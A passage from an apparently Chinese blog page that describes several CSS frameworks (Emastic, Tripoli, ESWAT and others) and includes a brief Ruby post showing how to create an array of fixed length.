Emastic 是一个CSS框架,它有连续的任务:探索陌生的新世界,寻找新生活和新的网站空间,大胆的去CSS框架尚未到达的领域。它是轻量的、在页面宽度上比较人性化,在网格中使用固定和不固定的列宽。 Elastic 用“em”布局。

11.That Standards Guy CSS Framework
CSS-框架

* 只能调用单个样式文件
* 主样式需要取得CSS认证(WCAG 1.0);
* 跨浏览器兼容性—包括Internet Explorer (IE) 5.x for Mac;
* IE Hacks使用独立文件;
* 快速创建模板;
* 少量注释/实例演示,可以节省时间来理解。

12.Content with Style Framework
CSS-框架-content

下一个逻辑步骤就是将这个扩展为CSS框架,允许使用写好并通过测试的组件来快速开发网站。实际上所需的是搞定一套命名习惯和一个灵活的基本模板…

13.Boilerplate CSS Framework
CSS-框架-boilerplate

14.ESWAT Web Project Framework
CSS-框架-eswat

ESWAT正在重新整理。如果你是冲着我的网站框架来的,那么你就可以在这里下载。也许你也想看看我的其他项目gmachina、AppleSeed。
15.Tripoli CSS Framework
CSS-框架-tripoli

Tripoli是一个用于HTML表现的通用css规范。通过重设和重建浏览器标准,Tripoli 为你的网站项目提供了一个标准的、跨浏览器表现的基础。

评论关闭

ruby 设置一个数组的长度

Posted in ruby by wanguan2000 on the 12月 9th, 2008

b = Array.new(4)
puts b.length

评论关闭
下一页 »